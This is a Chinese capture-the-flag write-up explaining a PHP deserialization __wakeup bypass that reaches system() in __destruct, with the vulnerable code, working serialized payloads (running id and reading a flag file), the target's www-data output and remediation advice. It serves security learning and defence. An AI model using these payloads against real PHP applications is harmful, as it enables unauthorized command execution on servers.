尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
【好靶场】PHP反序列化绕过
【好靶场】PHP反序列化绕过【好靶场】PHP反序列化绕过__wakeup 绕过与命令执行前置知识一、题目源码二、正常 Payload 为什么会失败三、绕过思路四、验证命令执行1. 本地 PHP 7.3.4 检测结果2. 授权靶场页面回显五、字符串长度一定要写对六、查找 Flag七、漏洞原理总结八、修复建议1. 不要反序列化用户输入2. 禁止在魔术方法中调用危险函数3. 使用类白名单4. 做签名校验总结【好靶场】PHP反序列化绕过__wakeup 绕过与命令执行本文仅用于授权靶场、CTF 练习和本地安全学习。前置知识学习本题前需要先理解几个点。本文涉及的本地检测环境为 PHP 7.3.4实际绕过效果以授权靶场页面回显为准因为__wakeup()属性数量绕过和 PHP 版本有关。这里的__wakeup()绕过和 PHP 版本有关核心原因是 PHP 早期在处理反序列化对象时如果序列化字符串中声明的属性数量大于实际属性数量可能会导致__wakeup()没有被正常调用。常见结论如下PHP 版本是否容易触发属性数量绕过__wakeup()PHP 5.x常见可绕过PHP 7.0.x 早期版本常见可绕过PHP 7.1大多已修复通常无法再用该方式绕过PHP 7.3.4本机测试不可用PHP 8.x通常不可用1.unserialize()会还原对象PHP 反序列化时如果序列化字符串中包含对象PHP 会尝试按照类名还原对象和属性。示例对象序列化格式O:12:BypassWakeup:1:{s:3:cmd;s:2:id;}含义OObject对象12类名BypassWakeup长度为 121对象属性数量为 1s:3:cmd属性名是cmds:2:id属性值是id。2.__wakeup()的触发时机__wakeup()是 PHP 魔术方法通常会在unserialize()反序列化对象时自动触发。本题中publicfunction__wakeup(){$this-cmdecho waf;}它的作用是把$cmd强行改成echo waf所以如果__wakeup()正常执行我们传入的命令会被覆盖。3.__destruct()的触发时机__destruct()会在对象销毁时自动触发通常是脚本执行结束时。本题中publicfunction__destruct(){system($this-cmd);}也就是说只要$cmd没有被__wakeup()覆盖最后就会进入system($this-cmd)。一、题目源码?phpclassBypassWakeup{public$cmdecho ok;publicfunction__wakeup(){$this-cmdecho waf;}publicfunction__destruct(){system($this-cmd);}}$ser_data$_GET[data];unserialize($ser_data);?题目要求Getshell。但是这题的关键不是反弹 shell而是先理解可控 data 参数 → unserialize() → 触发魔术方法 → system($cmd)二、正常 Payload 为什么会失败如果正常构造 1 个属性O:12:BypassWakeup:1:{s:3:cmd;s:2:id;}执行流程是unserialize() ↓ 触发 __wakeup() ↓ cmd 被改成 echo waf ↓ 脚本结束触发 __destruct() ↓ 执行 echo waf所以正常情况下即使我们传入id也会被__wakeup()改掉。三、绕过思路老版本 PHP 中存在一个经典特性当序列化字符串中声明的对象属性数量大于实际属性数量时可能导致__wakeup()不被正常触发。正常写法O:12:BypassWakeup:1:{s:3:cmd;s:2:id;}绕过写法O:12:BypassWakeup:2:{s:3:cmd;s:2:id;}变化点只有一个BypassWakeup:1改成BypassWakeup:2真正存在2 个属性的标准序列化字符串大括号里写两组属性键值对声明数量和实际数量保持一致:2:O:12:BypassWakeup:2:{s:3:cmd;s:2:id;s:4:test;s:1:1;}拆解:2:→ 声明 2 个属性实际两个属性cmd、test声明数量 实际属性数量 →__wakeup正常触发也就是声明有 2 个属性但实际只给了 1 个cmd属性。这样$cmd就不会被__wakeup()改成echo waf脚本结束时会进入system($this-cmd);四、验证命令执行先用无害命令测试idPayloadO:12:BypassWakeup:2:{s:3:cmd;s:2:id;}1. 本地 PHP 7.3.4 检测结果本地检测环境PHP 7.3.4 CLI (NTS MSVC15 x64) PHP 路径E:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe正常触发__wakeup()的 PayloadO:12:BypassWakeup:1:{s:3:cmd;s:2:id;}本地输出[] __wakeup 被触发 [] __destruct 被触发 [] 即将执行命令echo waf waf说明cmdid被__wakeup()覆盖成了echo waf。再测试属性数量异常的 PayloadO:12:BypassWakeup:2:{s:3:cmd;s:2:id;}本地 PHP 7.3.4 中没有输出id结果说明当前本地版本对这种异常序列化数据不会继续走到可利用的析构执行流程。这个现象很重要__wakeup()绕过和 PHP 版本有关不能只看本地结果判断靶场一定不可用。2. 授权靶场页面回显在题目靶场提交同一个 Payload 后页面回显收到输入字符串: O:12:BypassWakeup:2:{s:3:cmd;s:2:id;} uid33(www-data) gid33(www-data) groups33(www-data) 注意system 命令的输出不会直接在此展示区显示。请关注服务器回显或副作用。看到uid33(www-data)说明命令已经在靶场服务器上执行成功。这里的提示意思是system()的输出不一定单独显示在“反序列化结果”区域里可能会混在页面响应中。只要页面出现id的结果就说明命令执行成功。五、字符串长度一定要写对比如命令echo SAFE_TEST长度是 14echo 4 空格 1 SAFE_TEST 9 总长度 14正确 PayloadO:12:BypassWakeup:2:{s:3:cmd;s:14:echo SAFE_TEST;}如果复制时写成echo SAFE\_TEST那就多了一个反斜杠长度变成 15。此时仍然写s:14反序列化就会失败。所以 PHP 反序列化 Payload 有一个非常重要的细节s:长度:内容长度必须和内容严格对应。六、查找 Flag直接构造payloadO:12:BypassWakeup:2:{s:3:cmd;s:17:cat /tmp/flag.txt;}获取到flag为flag{d09d2ffd683c4e88a0fe18c512602d01}七、漏洞原理总结本题的漏洞链路如下用户控制 data 参数 ↓ 服务端直接 unserialize($ser_data) ↓ 构造异常属性数量绕过 __wakeup() ↓ cmd 属性保持用户传入的值 ↓ 对象销毁时触发 __destruct() ↓ system($this-cmd) 执行命令关键点有三个data参数完全可控unserialize()直接处理用户输入__destruct()中存在危险函数system()。八、修复建议1. 不要反序列化用户输入最根本的修复方式是不要把外部可控数据传入unserialize()。可以改用 JSON$datajson_decode($_GET[data],true);但 JSON 解析后也要继续做字段校验不能直接信任用户输入。2. 禁止在魔术方法中调用危险函数不要在__destruct()、__wakeup()、__toString()等魔术方法中直接调用system()exec()passthru()shell_exec()popen()proc_open()魔术方法触发时机隐蔽一旦对象可控很容易被利用。3. 使用类白名单如果业务必须使用unserialize()至少加上类白名单$objunserialize($ser_data,[allowed_classes[SafeClass]]);但要注意类白名单只能限制类不能解决当前类内部危险逻辑的问题。4. 做签名校验服务端生成序列化数据时附带 HMAC 签名。反序列化前先验签$expectedhash_hmac(sha256,$ser_data,$secret);if(!hash_equals($expected,$_GET[sign])){exit(invalid data);}签名不通过直接拒绝处理。总结本题利用思路可以概括为构造 BypassWakeup 对象 ↓ 把 cmd 改为想执行的命令 ↓ 把属性数量 1 改成 2 ↓ 绕过 __wakeup() ↓ 等待 __destruct() 调用 system()最终测试 PayloadO:12:BypassWakeup:2:{s:3:cmd;s:2:id;}这题重点不是“命令本身”而是理解__wakeup()为什么会拦截以及为什么属性数量异常能够绕过它。
RELATED

相关推荐

谈谈Flutter中的Key(二)——常用的Key

谈谈Flutter中的Key(二)——常用的Key

前言在上一篇文章中,我们探讨了 Flutter 中 Key 的基本概念、作用以及为什么需要 Key。本文将继续深入,重点介绍 Flutter 开发中几种常用且重要的 Key 类型,包括它们的适用场景、使用方式以及背后的原理。1.Key的继承体系Key (抽象类) ├──…

📅 2026/10/25 18:47:09
Go实战:实时推送系统设计

Go实战:实时推送系统设计

TL;DR 核心要点速览 Go适合后端API、微服务、云原生、CLI工具 高并发秒杀用Redis原子操作+限流 分布式锁用Redis SETNX或etcd租约 分布式事务用Saga模式或事件溯源 Go微服务通信用gRPC或消息队列 本篇是Go项目实战模块,含完整可运行项目 摘要:本文详细介绍实时推送系统设计,涵…

📅 2026/10/7 8:07:59
基于ResNet和脑部MRI影像的肿瘤早筛研究机器学习选题方向大数据毕设项目

基于ResNet和脑部MRI影像的肿瘤早筛研究机器学习选题方向大数据毕设项目

脑部肿瘤的早期筛查对于提高患者生存率和治疗效果具有重要意义。然而,传统的筛查方法存在效率低、准确性不高等问题。为此,本研究旨在利用深度学习技术,基于脑部MRI影像,开发一种高效的肿瘤早期筛查方法。本研究的主要内容包括脑部…

📅 2026/10/13 18:55:46
MORE NEWS

更多资讯

📰

AMD NPU上的AI绘图新选择sdxl-base-amdnpu-medusa:完整入门指南,告别独立显卡

【免费下载链接】sdxl-base-amdnpu-medusa 项目地址: https://ai.gitcode.com/hf_mirrors/amd/sdxl-base-amdnpu-medusa 点击查看 免费下载 想让笔记本不依赖独立显卡就能进行 AI 绘图?sdxl-base-amdnpu-medusa 正是为此而生——它是为 AMD NPU 转换的 …

📰

Tide Island 完整指南:Hyprland 灵动岛如何重塑 Wayland 桌面的信息中枢

【免费下载链接】Tide-island Tide Island is a smooth, lightweight, and flexible interactive island for Hyprland. 项目地址: https://gitcode.com/gh_mirrors/ti/Tide-island 点击查看 免费下载 Tide Island 是一款为 Hyprland 和 niri 打造的轻量级灵动岛组…

📰

Java医院HIS系统源码:Spring Boot全链路医疗业务实现

简介:这是一套基于SpringBoot开发的Java医院信息系统(HIS)完整源码,面向Java后端开发者、医疗信息化初学者及毕业设计需求者,解决医院门诊挂号、住院管理、药房仓库等核心业务系统从零搭建与二次开发的学习痛点。资源包…

📰

大模型部署突破:Qwen3-30B全精度模型实现260K上下文高效运行,96GB VRAM成关键门槛

大模型部署突破:Qwen3-30B全精度模型实现260K上下文高效运行,96GB VRAM成关键门槛 【免费下载链接】Qwen3-Coder-30B-A3B-Instruct-GGUF 项目地址: https://ai.gitcode.com/hf_mirrors/unsloth/Qwen3-Coder-30B-A3B-Instruct-GGUF 在大语言模型&…

📰

Gemma-4-12B-it-qat-q4_0-gguf 架构解析与生产部署实战指南

Gemma-4-12B-it-qat-q4_0-gguf 架构解析与生产部署实战指南 【免费下载链接】gemma-4-12B-it-qat-q4_0-gguf 项目地址: https://ai.gitcode.com/hf_mirrors/google/gemma-4-12B-it-qat-q4_0-gguf Gemma-4-12B-it-qat-q4_0-gguf 是 Google DeepMind 推出的开源多模态大语…

📰

计算机设计大赛答辩PPT全攻略:评委打分逻辑与避坑指南

简介:面向计算机设计大赛参赛者与开发者,这是一份展示基于无服务器云服务和人工智能的校园多功能微信小程序项目的答辩PPT,能够呈现软件应用与开发类项目从需求分析到落地的完整答辩思路。项目聚焦大学生心理健康素养偏低、对心理疾病识别率低…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬